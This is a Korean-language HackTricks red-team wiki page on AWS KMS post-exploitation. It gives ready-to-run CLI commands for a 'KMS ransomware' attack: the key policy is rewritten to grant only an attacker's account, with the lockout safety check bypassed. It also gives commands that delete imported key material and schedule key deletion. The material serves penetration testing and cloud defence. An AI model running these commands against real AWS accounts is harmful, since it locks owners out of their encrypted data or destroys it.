AWS - KMS Post Exploitation

htARTE (HackTricks AWS Red Team 전문가)에서 제로부터 영웅까지 AWS 해킹 배우기!

다른 방법으로 HackTricks를 지원하는 방법:

KMS

자세한 정보는 확인하세요:

pageAWS - KMS Enum

정보 암호화/복호화

  • 대칭 키를 사용

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • 비대칭 키를 사용합니다:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS 랜섬웨어

KMS에 특권 액세스 권한이 있는 공격자는 키의 KMS 정책을 수정하고 자신의 계정에 액세스 권한을 부여하여 합법적인 계정에 부여된 액세스를 제거할 수 있습니다.

그러면 합법적인 계정 사용자들은 해당 키로 암호화된 서비스의 어떤 정보에도 액세스할 수 없게 되어 계정에 쉽고 효과적인 랜섬웨어가 생성됩니다.

AWS 관리형 키는 이 공격의 영향을 받지 않음을 유의하십시오. 이 공격은 고객 관리형 키에만 적용됩니다.

또한 웹 콘솔에서 이 옵션을 사용하지 않으면 (이 옵션이 없으면 이 공격은 CLI에서만 가능합니다).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

해당 정책을 변경하여 외부 계정에만 액세스 권한을 부여한 후 이 외부 계정에서 새 정책을 설정하여 액세스 권한을 원래 계정에 다시 부여하려고 하면 할 수 없습니다.

일반 KMS 랜섬웨어

전역 KMS 랜섬웨어

전역 KMS 랜섬웨어를 수행하는 또 다른 방법이 있습니다. 이는 다음 단계를 포함할 것입니다:

  • 공격자가 가져온 키 자료로 새 키를 생성

  • 이전 버전으로 암호화된 이전 데이터를 새로운 데이터로 다시 암호화

  • KMS 키를 삭제

  • 이제 원래 키 자료를 가진 공격자만 암호화된 데이터를 해독할 수 있습니다

키 파기

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

AWS는 이제 다른 계정 간에 이전 작업을 수행하는 것을 방지합니다:

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

最終更新